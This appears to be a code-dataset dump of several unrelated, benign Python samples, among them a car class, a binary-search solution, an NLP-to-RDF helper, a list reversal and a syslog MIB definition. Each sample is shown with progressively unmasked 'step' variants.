genome_source_deletion.names_to_contigs[\"chr2\"]\n\n print(\"\")\n\n coverage = 50\n read_length = 150\n ref_reads = conftest.simulate_read_pairs(refseq, int(len(refseq)/(read_length*2)*coverage))\n alt_reads = conftest.simulate_read_pairs(altseq, int(len(altseq)/(read_length*2)*coverage))\n print(len(ref_reads), len(alt_reads))\n\n combined_reads = []\n\n for i, _, pair in ref_reads:\n if 4000-500 < i < 4000+500+deletion_length:\n pair._allele = \"ref\"\n combined_reads.append(pair)\n for i, _, pair in alt_reads:\n if 4000-500 < i < 4500:\n pair._allele = \"alt\"\n combined_reads.append(pair)\n\n for pair in combined_reads:\n pair.realign([genome_source], [genome_source_deletion])\n\n ref_breakpoints = [Locus(\"chr2\", 4000, 4000, \"+\"),\n Locus(\"chr2\", 4000+deletion_length, 4000+deletion_length, \"+\")]\n alt_breakpoints = [Locus(\"chr2\", 4000, 4000, \"+\")]\n\n ref_count, alt_count = genotyping.assign_reads_to_alleles(\n combined_reads, ref_breakpoints, alt_breakpoints, get_read_stats())\n\n print(\":::::\", ref_count, alt_count)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
class boxCar: def __init__(self, *args, **kwargs): print("print the keyword arguments dictionary {0} by {1}".format(kwargs, "WANGH")) self.name = kwargs["name"] self.domains = ["BODY","PWT","INFO","ADAS","INF"] self.configuration = {} def addEcu(self, ecu, domain): if domain.upper() in self.domains: self.configuration.setdefault(domain.upper(),[]).append(ecu.upper()) else: print("please input one of the following domain {}".format( ["Info", "Body", "PWT", "ADAS", "Infra"] )) def deleteEcu(self, ecu, domain): pass def getConfiguration(self): return self.configuration def setTestPhase(self, phase): if phase.upper() in ["E1", "E2", "E3", "E4","TT", "PP"]: self.testPhase = phase.upper() else: print("please input one of the following domain {}".format( ["E1", "E2", "E3", "E4","TT", "PP"] )) def test(): boxcar=boxCar(name="CM01") print(boxcar.name) # print(boxcar.domains) # print(boxcar.configuration) # boxcar.addEcu("CEM","body") # boxcar.addEcu("BECM","PWT") # boxcar.addEcu("BNCM", "body") # print(boxcar.configuration) # boxcar.setTestPhase("E1") # print(boxcar.testPhase) if __name__ == "__main__": test()
normal
{ "blob_id": "c3fae13b488a717419adb8292597746a383b332c", "index": 7547, "step-1": "class boxCar:\n\n def __init__(self, *args, **kwargs):\n print('print the keyword arguments dictionary {0} by {1}'.format(\n kwargs, 'WANGH'))\n self.name = kwargs['name']\n self.domains = ['BODY', 'PWT', 'INFO', 'ADAS', 'INF']\n self.configuration = {}\n\n def addEcu(self, ecu, domain):\n if domain.upper() in self.domains:\n self.configuration.setdefault(domain.upper(), []).append(ecu.\n upper())\n else:\n print('please input one of the following domain {}'.format([\n 'Info', 'Body', 'PWT', 'ADAS', 'Infra']))\n <mask token>\n <mask token>\n\n def setTestPhase(self, phase):\n if phase.upper() in ['E1', 'E2', 'E3', 'E4', 'TT', 'PP']:\n self.testPhase = phase.upper()\n else:\n print('please input one of the following domain {}'.format([\n 'E1', 'E2', 'E3', 'E4', 'TT', 'PP']))\n\n\n<mask token>\n", "step-2": "class boxCar:\n\n def __init__(self, *args, **kwargs):\n print('print the keyword arguments dictionary {0} by {1}'.format(\n kwargs, 'WANGH'))\n self.name = kwargs['name']\n self.domains = ['BODY', 'PWT', 'INFO', 'ADAS', 'INF']\n self.configuration = {}\n\n def addEcu(self, ecu, domain):\n if domain.upper() in self.domains:\n self.configuration.setdefault(domain.upper(), []).append(ecu.\n upper())\n else:\n print('please input one of the following domain {}'.format([\n 'Info', 'Body', 'PWT', 'ADAS', 'Infra']))\n\n def deleteEcu(self, ecu, domain):\n pass\n\n def getConfiguration(self):\n return self.configuration\n\n def setTestPhase(self, phase):\n if phase.upper() in ['E1', 'E2', 'E3', 'E4', 'TT', 'PP']:\n self.testPhase = phase.upper()\n else:\n print('please input one of the following domain {}'.format([\n 'E1', 'E2', 'E3', 'E4', 'TT', 'PP']))\n\n\n<mask token>\n", "step-3": "class boxCar:\n\n def __init__(self, *args, **kwargs):\n print('print the keyword arguments dictionary {0} by {1}'.format(\n kwargs, 'WANGH'))\n self.name = kwargs['name']\n self.domains = ['BODY', 'PWT', 'INFO', 'ADAS', 'INF']\n self.configuration = {}\n\n def addEcu(self, ecu, domain):\n if domain.upper() in self.domains:\n self.configuration.setdefault(domain.upper(), []).append(ecu.\n upper())\n else:\n print('please input one of the following domain {}'.format([\n 'Info', 'Body', 'PWT', 'ADAS', 'Infra']))\n\n def deleteEcu(self, ecu, domain):\n pass\n\n def getConfiguration(self):\n return self.configuration\n\n def setTestPhase(self, phase):\n if phase.upper() in ['E1', 'E2', 'E3', 'E4', 'TT', 'PP']:\n self.testPhase = phase.upper()\n else:\n print('please input one of the following domain {}'.format([\n 'E1', 'E2', 'E3', 'E4', 'TT', 'PP']))\n\n\ndef test():\n boxcar = boxCar(name='CM01')\n print(boxcar.name)\n\n\n<mask token>\n", "step-4": "class boxCar:\n\n def __init__(self, *args, **kwargs):\n print('print the keyword arguments dictionary {0} by {1}'.format(\n kwargs, 'WANGH'))\n self.name = kwargs['name']\n self.domains = ['BODY', 'PWT', 'INFO', 'ADAS', 'INF']\n self.configuration = {}\n\n def addEcu(self, ecu, domain):\n if domain.upper() in self.domains:\n self.configuration.setdefault(domain.upper(), []).append(ecu.\n upper())\n else:\n print('please input one of the following domain {}'.format([\n 'Info', 'Body', 'PWT', 'ADAS', 'Infra']))\n\n def deleteEcu(self, ecu, domain):\n pass\n\n def getConfiguration(self):\n return self.configuration\n\n def setTestPhase(self, phase):\n if phase.upper() in ['E1', 'E2', 'E3', 'E4', 'TT', 'PP']:\n self.testPhase = phase.upper()\n else:\n print('please input one of the following domain {}'.format([\n 'E1', 'E2', 'E3', 'E4', 'TT', 'PP']))\n\n\ndef test():\n boxcar = boxCar(name='CM01')\n print(boxcar.name)\n\n\nif __name__ == '__main__':\n test()\n", "step-5": "class boxCar:\n def __init__(self, *args, **kwargs):\n print(\"print the keyword arguments dictionary {0} by {1}\".format(kwargs, \"WANGH\"))\n self.name = kwargs[\"name\"]\n self.domains = [\"BODY\",\"PWT\",\"INFO\",\"ADAS\",\"INF\"]\n self.configuration = {}\n \n def addEcu(self, ecu, domain):\n if domain.upper() in self.domains:\n self.configuration.setdefault(domain.upper(),[]).append(ecu.upper())\n else: \n print(\"please input one of the following domain {}\".format(\n [\"Info\", \"Body\", \"PWT\", \"ADAS\", \"Infra\"]\n ))\n\n def deleteEcu(self, ecu, domain):\n pass\n\n def getConfiguration(self):\n return self.configuration\n\n def setTestPhase(self, phase):\n if phase.upper() in [\"E1\", \"E2\", \"E3\", \"E4\",\"TT\", \"PP\"]:\n self.testPhase = phase.upper()\n else:\n print(\"please input one of the following domain {}\".format(\n [\"E1\", \"E2\", \"E3\", \"E4\",\"TT\", \"PP\"]\n ))\n\ndef test():\n boxcar=boxCar(name=\"CM01\")\n print(boxcar.name)\n # print(boxcar.domains)\n # print(boxcar.configuration)\n # boxcar.addEcu(\"CEM\",\"body\")\n # boxcar.addEcu(\"BECM\",\"PWT\")\n # boxcar.addEcu(\"BNCM\", \"body\")\n # print(boxcar.configuration)\n # boxcar.setTestPhase(\"E1\")\n # print(boxcar.testPhase)\n\nif __name__ == \"__main__\":\n test()\n", "step-ids": [ 4, 6, 7, 8, 9 ] }
[ 4, 6, 7, 8, 9 ]
class car: def info(self): print(self.speed, self.color, self.model) def increment(self): print('increment') def decrement(self): print('decrement') BMW = car() BMW.speed = 320 BMW.color = 'red' BMW.model = 1982 BMW.info() Camry = car() Camry.speed = 220 Camry.color = 'blue'
normal
{ "blob_id": "022f588455d8624d0b0107180417f65816254cb1", "index": 8687, "step-1": "class car:\n\n def info(self):\n print(self.speed, self.color, self.model)\n\n def increment(self):\n print('increment')\n <mask token>\n\n\n<mask token>\n", "step-2": "class car:\n\n def info(self):\n print(self.speed, self.color, self.model)\n\n def increment(self):\n print('increment')\n\n def decrement(self):\n print('decrement')\n\n\n<mask token>\n", "step-3": "class car:\n\n def info(self):\n print(self.speed, self.color, self.model)\n\n def increment(self):\n print('increment')\n\n def decrement(self):\n print('decrement')\n\n\n<mask token>\nBMW.info()\n<mask token>\n", "step-4": "class car:\n\n def info(self):\n print(self.speed, self.color, self.model)\n\n def increment(self):\n print('increment')\n\n def decrement(self):\n print('decrement')\n\n\nBMW = car()\nBMW.speed = 320\nBMW.color = 'red'\nBMW.model = 1982\nBMW.info()\nCamry = car()\nCamry.speed = 220\nCamry.color = 'blue'\n", "step-5": null, "step-ids": [ 3, 4, 5, 6 ] }
[ 3, 4, 5, 6 ]
import sys def input(_type=str): return _type(sys.stdin.readline().strip()) def main(): N, K, D = map(int, input().split()) rules = [tuple(map(int, input().split())) for _ in range(K)] minv, maxv = min([r[0] for r in rules]), max([r[1] for r in rules]) while minv + 1 < maxv: midv = (minv + maxv)//2 cnt, max_in = 0, 0 for A, B, C in rules: if midv < A: continue n = (min(midv, B)-A)//C max_in = max(A + n * C, max_in) cnt += n + 1 # print(minv, midv, maxv, max_in, cnt) if cnt >= D: maxv = max_in else: minv = midv + 1 if minv < maxv: cnt, max_in = 0, 0 for A, B, C in rules: if minv < A: continue max_in = max(A + (min(minv, B)-A)//C * C, max_in) cnt += (min(minv, B) - A)//C + 1 if cnt >= D: maxv = max_in print(maxv) main() # 10 20 30 40 50 # 30 60 90 # 20 45 70 # 70 95
normal
{ "blob_id": "f0b98a3d6015d57a49e315ac984cac1cccf0b382", "index": 6084, "step-1": "<mask token>\n\n\ndef main():\n N, K, D = map(int, input().split())\n rules = [tuple(map(int, input().split())) for _ in range(K)]\n minv, maxv = min([r[0] for r in rules]), max([r[1] for r in rules])\n while minv + 1 < maxv:\n midv = (minv + maxv) // 2\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if midv < A:\n continue\n n = (min(midv, B) - A) // C\n max_in = max(A + n * C, max_in)\n cnt += n + 1\n if cnt >= D:\n maxv = max_in\n else:\n minv = midv + 1\n if minv < maxv:\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if minv < A:\n continue\n max_in = max(A + (min(minv, B) - A) // C * C, max_in)\n cnt += (min(minv, B) - A) // C + 1\n if cnt >= D:\n maxv = max_in\n print(maxv)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef input(_type=str):\n return _type(sys.stdin.readline().strip())\n\n\ndef main():\n N, K, D = map(int, input().split())\n rules = [tuple(map(int, input().split())) for _ in range(K)]\n minv, maxv = min([r[0] for r in rules]), max([r[1] for r in rules])\n while minv + 1 < maxv:\n midv = (minv + maxv) // 2\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if midv < A:\n continue\n n = (min(midv, B) - A) // C\n max_in = max(A + n * C, max_in)\n cnt += n + 1\n if cnt >= D:\n maxv = max_in\n else:\n minv = midv + 1\n if minv < maxv:\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if minv < A:\n continue\n max_in = max(A + (min(minv, B) - A) // C * C, max_in)\n cnt += (min(minv, B) - A) // C + 1\n if cnt >= D:\n maxv = max_in\n print(maxv)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef input(_type=str):\n return _type(sys.stdin.readline().strip())\n\n\ndef main():\n N, K, D = map(int, input().split())\n rules = [tuple(map(int, input().split())) for _ in range(K)]\n minv, maxv = min([r[0] for r in rules]), max([r[1] for r in rules])\n while minv + 1 < maxv:\n midv = (minv + maxv) // 2\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if midv < A:\n continue\n n = (min(midv, B) - A) // C\n max_in = max(A + n * C, max_in)\n cnt += n + 1\n if cnt >= D:\n maxv = max_in\n else:\n minv = midv + 1\n if minv < maxv:\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if minv < A:\n continue\n max_in = max(A + (min(minv, B) - A) // C * C, max_in)\n cnt += (min(minv, B) - A) // C + 1\n if cnt >= D:\n maxv = max_in\n print(maxv)\n\n\nmain()\n", "step-4": "import sys\n\n\ndef input(_type=str):\n return _type(sys.stdin.readline().strip())\n\n\ndef main():\n N, K, D = map(int, input().split())\n rules = [tuple(map(int, input().split())) for _ in range(K)]\n minv, maxv = min([r[0] for r in rules]), max([r[1] for r in rules])\n while minv + 1 < maxv:\n midv = (minv + maxv) // 2\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if midv < A:\n continue\n n = (min(midv, B) - A) // C\n max_in = max(A + n * C, max_in)\n cnt += n + 1\n if cnt >= D:\n maxv = max_in\n else:\n minv = midv + 1\n if minv < maxv:\n cnt, max_in = 0, 0\n for A, B, C in rules:\n if minv < A:\n continue\n max_in = max(A + (min(minv, B) - A) // C * C, max_in)\n cnt += (min(minv, B) - A) // C + 1\n if cnt >= D:\n maxv = max_in\n print(maxv)\n\n\nmain()\n", "step-5": "import sys\ndef input(_type=str):\n\treturn _type(sys.stdin.readline().strip())\n\ndef main():\n\tN, K, D = map(int, input().split())\n\trules = [tuple(map(int, input().split())) for _ in range(K)]\n\tminv, maxv = min([r[0] for r in rules]), max([r[1] for r in rules])\n\twhile minv + 1 < maxv:\n\t\tmidv = (minv + maxv)//2 \n\t\tcnt, max_in = 0, 0\n\t\tfor A, B, C in rules:\n\t\t\tif midv < A:\n\t\t\t\tcontinue\n\t\t\tn = (min(midv, B)-A)//C\n\t\t\tmax_in = max(A + n * C, max_in)\n\t\t\tcnt += n + 1\n\t\t# print(minv, midv, maxv, max_in, cnt)\n\t\tif cnt >= D:\n\t\t\tmaxv = max_in\n\t\telse:\n\t\t\tminv = midv + 1\n\n\tif minv < maxv:\n\t\tcnt, max_in = 0, 0\n\t\tfor A, B, C in rules:\n\t\t\tif minv < A:\n\t\t\t\tcontinue\n\t\t\tmax_in = max(A + (min(minv, B)-A)//C * C, max_in)\n\t\t\tcnt += (min(minv, B) - A)//C + 1\n\t\tif cnt >= D:\n\t\t\tmaxv = max_in\n\tprint(maxv)\n\nmain()\n\n# 10 20 30 40 50\n# 30 60 90\n# 20 45 70\n# 70 95", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
import datastructure import wordUri class Question: def __init__(self, nlp, otter, nounArray, verbArray): self.nlp = nlp self.nounArray = nounArray self.verbArray = verbArray self.file = otter def findFirst(self, sentence): sentenceDoc = self.nlp(sentence) for word in sentenceDoc: if word.dep_ == "ROOT": verb = self.verbArray.findWord(word.orth_) children = [] for ch in word.children: children.append(ch) self.findSecond(sentenceDoc, verb, children) break def findSecond(self, sentenceDoc, verb, children): for child in children: if child.dep_ == "attr" or child.dep_ == "nsubj": temp = self.nounArray.findWord(child.orth_) subjectChildren = [] for ch in child.children: subjectChildren.append(ch) if not subjectChildren: subjectChildren = children subjectChildren.remove(child) self.findThird(sentenceDoc, temp, verb, subjectChildren, False) break def findThird(self, sentenceDoc, subject, verb, children, flag): for child in children: if child.dep_ == "appos" or child.dep_ == "pobj": temp = self.nounArray.findWord(child.orth_) if temp is None: w = datastructure.Word(child.orth_) w.addType(child.pos_) w.addUri(wordUri.findUri(w)) #w.addUri(w.word + "URI") print(subject.uri, "- " + verb.uri + " -", w.uri) self.writeOtter(subject.uri, verb.uri, w.uri) else: print(subject.uri, "- " + verb.uri + " -", temp.uri) self.writeOtter(subject.uri, verb.uri, temp.uri) #self.recoursiveFind(sentenceDoc, subject, verb, child) if child.dep_ == "prep" or child.dep_ == "acomp": if not flag: verb = datastructure.Word(child.orth_) verb.addType(child.pos_) verb.addUri(wordUri.findUri(verb)) verbChildren = [] for ch in child.children: verbChildren.append(ch) self.findThird(sentenceDoc, subject, verb, verbChildren, True) def writeOtter(self, first, second, third): self.file.write("-rdf(\"" + first + "\", \"" + second + "\", \"" + third + "\").\n")
normal
{ "blob_id": "4d63a5f09164b78faa731af6dce41969edc2c4f5", "index": 848, "step-1": "<mask token>\n\n\nclass Question:\n <mask token>\n <mask token>\n\n def findSecond(self, sentenceDoc, verb, children):\n for child in children:\n if child.dep_ == 'attr' or child.dep_ == 'nsubj':\n temp = self.nounArray.findWord(child.orth_)\n subjectChildren = []\n for ch in child.children:\n subjectChildren.append(ch)\n if not subjectChildren:\n subjectChildren = children\n subjectChildren.remove(child)\n self.findThird(sentenceDoc, temp, verb, subjectChildren, False)\n break\n <mask token>\n\n def writeOtter(self, first, second, third):\n self.file.write('-rdf(\"' + first + '\", \"' + second + '\", \"' + third +\n '\").\\n')\n", "step-2": "<mask token>\n\n\nclass Question:\n <mask token>\n\n def findFirst(self, sentence):\n sentenceDoc = self.nlp(sentence)\n for word in sentenceDoc:\n if word.dep_ == 'ROOT':\n verb = self.verbArray.findWord(word.orth_)\n children = []\n for ch in word.children:\n children.append(ch)\n self.findSecond(sentenceDoc, verb, children)\n break\n\n def findSecond(self, sentenceDoc, verb, children):\n for child in children:\n if child.dep_ == 'attr' or child.dep_ == 'nsubj':\n temp = self.nounArray.findWord(child.orth_)\n subjectChildren = []\n for ch in child.children:\n subjectChildren.append(ch)\n if not subjectChildren:\n subjectChildren = children\n subjectChildren.remove(child)\n self.findThird(sentenceDoc, temp, verb, subjectChildren, False)\n break\n <mask token>\n\n def writeOtter(self, first, second, third):\n self.file.write('-rdf(\"' + first + '\", \"' + second + '\", \"' + third +\n '\").\\n')\n", "step-3": "<mask token>\n\n\nclass Question:\n\n def __init__(self, nlp, otter, nounArray, verbArray):\n self.nlp = nlp\n self.nounArray = nounArray\n self.verbArray = verbArray\n self.file = otter\n\n def findFirst(self, sentence):\n sentenceDoc = self.nlp(sentence)\n for word in sentenceDoc:\n if word.dep_ == 'ROOT':\n verb = self.verbArray.findWord(word.orth_)\n children = []\n for ch in word.children:\n children.append(ch)\n self.findSecond(sentenceDoc, verb, children)\n break\n\n def findSecond(self, sentenceDoc, verb, children):\n for child in children:\n if child.dep_ == 'attr' or child.dep_ == 'nsubj':\n temp = self.nounArray.findWord(child.orth_)\n subjectChildren = []\n for ch in child.children:\n subjectChildren.append(ch)\n if not subjectChildren:\n subjectChildren = children\n subjectChildren.remove(child)\n self.findThird(sentenceDoc, temp, verb, subjectChildren, False)\n break\n\n def findThird(self, sentenceDoc, subject, verb, children, flag):\n for child in children:\n if child.dep_ == 'appos' or child.dep_ == 'pobj':\n temp = self.nounArray.findWord(child.orth_)\n if temp is None:\n w = datastructure.Word(child.orth_)\n w.addType(child.pos_)\n w.addUri(wordUri.findUri(w))\n print(subject.uri, '- ' + verb.uri + ' -', w.uri)\n self.writeOtter(subject.uri, verb.uri, w.uri)\n else:\n print(subject.uri, '- ' + verb.uri + ' -', temp.uri)\n self.writeOtter(subject.uri, verb.uri, temp.uri)\n if child.dep_ == 'prep' or child.dep_ == 'acomp':\n if not flag:\n verb = datastructure.Word(child.orth_)\n verb.addType(child.pos_)\n verb.addUri(wordUri.findUri(verb))\n verbChildren = []\n for ch in child.children:\n verbChildren.append(ch)\n self.findThird(sentenceDoc, subject, verb, verbChildren, True)\n\n def writeOtter(self, first, second, third):\n self.file.write('-rdf(\"' + first + '\", \"' + second + '\", \"' + third +\n '\").\\n')\n", "step-4": "import datastructure\nimport wordUri\n\n\nclass Question:\n\n def __init__(self, nlp, otter, nounArray, verbArray):\n self.nlp = nlp\n self.nounArray = nounArray\n self.verbArray = verbArray\n self.file = otter\n\n def findFirst(self, sentence):\n sentenceDoc = self.nlp(sentence)\n for word in sentenceDoc:\n if word.dep_ == 'ROOT':\n verb = self.verbArray.findWord(word.orth_)\n children = []\n for ch in word.children:\n children.append(ch)\n self.findSecond(sentenceDoc, verb, children)\n break\n\n def findSecond(self, sentenceDoc, verb, children):\n for child in children:\n if child.dep_ == 'attr' or child.dep_ == 'nsubj':\n temp = self.nounArray.findWord(child.orth_)\n subjectChildren = []\n for ch in child.children:\n subjectChildren.append(ch)\n if not subjectChildren:\n subjectChildren = children\n subjectChildren.remove(child)\n self.findThird(sentenceDoc, temp, verb, subjectChildren, False)\n break\n\n def findThird(self, sentenceDoc, subject, verb, children, flag):\n for child in children:\n if child.dep_ == 'appos' or child.dep_ == 'pobj':\n temp = self.nounArray.findWord(child.orth_)\n if temp is None:\n w = datastructure.Word(child.orth_)\n w.addType(child.pos_)\n w.addUri(wordUri.findUri(w))\n print(subject.uri, '- ' + verb.uri + ' -', w.uri)\n self.writeOtter(subject.uri, verb.uri, w.uri)\n else:\n print(subject.uri, '- ' + verb.uri + ' -', temp.uri)\n self.writeOtter(subject.uri, verb.uri, temp.uri)\n if child.dep_ == 'prep' or child.dep_ == 'acomp':\n if not flag:\n verb = datastructure.Word(child.orth_)\n verb.addType(child.pos_)\n verb.addUri(wordUri.findUri(verb))\n verbChildren = []\n for ch in child.children:\n verbChildren.append(ch)\n self.findThird(sentenceDoc, subject, verb, verbChildren, True)\n\n def writeOtter(self, first, second, third):\n self.file.write('-rdf(\"' + first + '\", \"' + second + '\", \"' + third +\n '\").\\n')\n", "step-5": "import datastructure\nimport wordUri\n\n\nclass Question:\n def __init__(self, nlp, otter, nounArray, verbArray):\n self.nlp = nlp\n self.nounArray = nounArray\n self.verbArray = verbArray\n self.file = otter\n\n\n def findFirst(self, sentence):\n sentenceDoc = self.nlp(sentence)\n for word in sentenceDoc:\n if word.dep_ == \"ROOT\":\n verb = self.verbArray.findWord(word.orth_)\n\n children = []\n for ch in word.children:\n children.append(ch)\n self.findSecond(sentenceDoc, verb, children)\n break\n\n def findSecond(self, sentenceDoc, verb, children):\n\n for child in children:\n if child.dep_ == \"attr\" or child.dep_ == \"nsubj\":\n temp = self.nounArray.findWord(child.orth_)\n\n subjectChildren = []\n for ch in child.children:\n subjectChildren.append(ch)\n\n if not subjectChildren:\n subjectChildren = children\n subjectChildren.remove(child)\n self.findThird(sentenceDoc, temp, verb, subjectChildren, False)\n break\n\n def findThird(self, sentenceDoc, subject, verb, children, flag):\n for child in children:\n if child.dep_ == \"appos\" or child.dep_ == \"pobj\":\n temp = self.nounArray.findWord(child.orth_)\n if temp is None:\n w = datastructure.Word(child.orth_)\n w.addType(child.pos_)\n w.addUri(wordUri.findUri(w))\n #w.addUri(w.word + \"URI\")\n print(subject.uri, \"- \" + verb.uri + \" -\", w.uri)\n\n self.writeOtter(subject.uri, verb.uri, w.uri)\n\n else:\n print(subject.uri, \"- \" + verb.uri + \" -\", temp.uri)\n self.writeOtter(subject.uri, verb.uri, temp.uri)\n\n #self.recoursiveFind(sentenceDoc, subject, verb, child)\n if child.dep_ == \"prep\" or child.dep_ == \"acomp\":\n if not flag:\n verb = datastructure.Word(child.orth_)\n verb.addType(child.pos_)\n verb.addUri(wordUri.findUri(verb))\n\n verbChildren = []\n for ch in child.children:\n verbChildren.append(ch)\n\n self.findThird(sentenceDoc, subject, verb, verbChildren, True)\n\n def writeOtter(self, first, second, third):\n self.file.write(\"-rdf(\\\"\" + first + \"\\\", \\\"\" + second + \"\\\", \\\"\" + third + \"\\\").\\n\")\n", "step-ids": [ 3, 4, 6, 7, 8 ] }
[ 3, 4, 6, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for i in range(0, 10): lista.append(int(input())) while z < j: c = lista[z] lista[z] = lista[j] lista[j] = c z += 1 j -= 1 print(lista) <|reserved_special_token_1|> lista = [] z = 0 j = 9 for i in range(0, 10): lista.append(int(input())) while z < j: c = lista[z] lista[z] = lista[j] lista[j] = c z += 1 j -= 1 print(lista)
flexible
{ "blob_id": "01ede703e36268dc9b3331b21726c24674a43817", "index": 1338, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(0, 10):\n lista.append(int(input()))\nwhile z < j:\n c = lista[z]\n lista[z] = lista[j]\n lista[j] = c\n z += 1\n j -= 1\nprint(lista)\n", "step-3": "lista = []\nz = 0\nj = 9\nfor i in range(0, 10):\n lista.append(int(input()))\nwhile z < j:\n c = lista[z]\n lista[z] = lista[j]\n lista[j] = c\n z += 1\n j -= 1\nprint(lista)\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
print('test 123123')
normal
{ "blob_id": "c6d8b9faa610e817c449eee94d73c61cb62fa272", "index": 8878, "step-1": "<mask token>\n", "step-2": "print('test 123123')\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> def possibleNumber(digitSet, n): res = [[]] pools = [digitSet] * n for pool in pools: res = [(x + [y]) for x in res for y in pool] for prod in res: yield prod <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def possibleNumber(digitSet, n): res = [[]] pools = [digitSet] * n for pool in pools: res = [(x + [y]) for x in res for y in pool] for prod in res: yield prod <|reserved_special_token_0|> for i in res: print(i) <|reserved_special_token_1|> <|reserved_special_token_0|> def possibleNumber(digitSet, n): res = [[]] pools = [digitSet] * n for pool in pools: res = [(x + [y]) for x in res for y in pool] for prod in res: yield prod res = possibleNumber('23', 5) for i in res: print(i) <|reserved_special_token_1|> import itertools def possibleNumber(digitSet, n): res = [[]] pools = [digitSet] * n for pool in pools: res = [(x + [y]) for x in res for y in pool] for prod in res: yield prod res = possibleNumber('23', 5) for i in res: print(i) <|reserved_special_token_1|> import itertools def possibleNumber(digitSet, n): res = [[]] pools = [digitSet] * n # print(pools) for pool in pools: # print(res) res = [ x + [y] for x in res for y in pool] for prod in res: yield prod # def possibleNumber(digitSet, n): # res = [] # temp = itertools.product(digitSet, repeat = n) # for item in temp: # res.append(item) # return res res = possibleNumber('23', 5) for i in res: print(i)
flexible
{ "blob_id": "fcc6dd61b94d5fa7f088fc75b748d976d1b30fa5", "index": 1781, "step-1": "<mask token>\n\n\ndef possibleNumber(digitSet, n):\n res = [[]]\n pools = [digitSet] * n\n for pool in pools:\n res = [(x + [y]) for x in res for y in pool]\n for prod in res:\n yield prod\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef possibleNumber(digitSet, n):\n res = [[]]\n pools = [digitSet] * n\n for pool in pools:\n res = [(x + [y]) for x in res for y in pool]\n for prod in res:\n yield prod\n\n\n<mask token>\nfor i in res:\n print(i)\n", "step-3": "<mask token>\n\n\ndef possibleNumber(digitSet, n):\n res = [[]]\n pools = [digitSet] * n\n for pool in pools:\n res = [(x + [y]) for x in res for y in pool]\n for prod in res:\n yield prod\n\n\nres = possibleNumber('23', 5)\nfor i in res:\n print(i)\n", "step-4": "import itertools\n\n\ndef possibleNumber(digitSet, n):\n res = [[]]\n pools = [digitSet] * n\n for pool in pools:\n res = [(x + [y]) for x in res for y in pool]\n for prod in res:\n yield prod\n\n\nres = possibleNumber('23', 5)\nfor i in res:\n print(i)\n", "step-5": "import itertools\n\ndef possibleNumber(digitSet, n):\n res = [[]]\n\n pools = [digitSet] * n\n # print(pools)\n for pool in pools:\n # print(res)\n res = [ x + [y] for x in res for y in pool]\n for prod in res:\n yield prod\n\n# def possibleNumber(digitSet, n):\n# res = []\n# temp = itertools.product(digitSet, repeat = n)\n# for item in temp:\n# res.append(item)\n# return res\n\nres = possibleNumber('23', 5)\nfor i in res:\n print(i)", "step-ids": [ 1, 2, 3, 4, 5 ] }
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> class SyslogSeverity(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 2' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7)) namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), ( 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class SyslogFacility(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 1' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23)) namedValues = NamedValues(('kern', 0), ('user', 1), ('mail', 2), ( 'daemon', 3), ('auth', 4), ('syslog', 5), ('lpr', 6), ('news', 7), ('uucp', 8), ('cron', 9), ('authpriv', 10), ('ftp', 11), ('ntp', 12 ), ('audit', 13), ('console', 14), ('cron2', 15), ('local0', 16), ( 'local1', 17), ('local2', 18), ('local3', 19), ('local4', 20), ( 'local5', 21), ('local6', 22), ('local7', 23)) class SyslogSeverity(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 2' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7)) namedValues = NamedValues(('emerg', 0), ('alert', 1), ('crit', 2), ( 'err', 3), ('warning', 4), ('notice', 5), ('info', 6), ('debug', 7)) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> syslogTCMIB.setRevisions(('2009-03-30 00:00',)) if mibBuilder.loadTexts: syslogTCMIB.setLastUpdated('200903300000Z') if mibBuilder.loadTexts: syslogTCMIB.setOrganization('IETF Syslog Working Group') class SyslogFacility(TextualConvention, Integer32): reference = 'The Syslog Protocol (RFC5424): Table 1' status = 'current' subtypeSpec = Integer32.subtypeSpec + ConstraintsUnion( SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23)) namedValues = NamedValues(('kern', 0), ('user', 1), ('mail', 2), ( 'daemon', 3), ('auth', 4), ('syslog', 5), ('lpr', 6), ('news', 7), ('uucp', 8), ('cron', 9), ('authpriv', 10), ('ftp', 11), ('ntp', 12 ), ('audit', 13), ('console', 14), ('cron2', 15), ('local0', 16), ( 'local1', 17), ('local2', 18), ('local3', 19), ('local4', 20), ( 'local5', 21), ('local6', 22), ('local7', 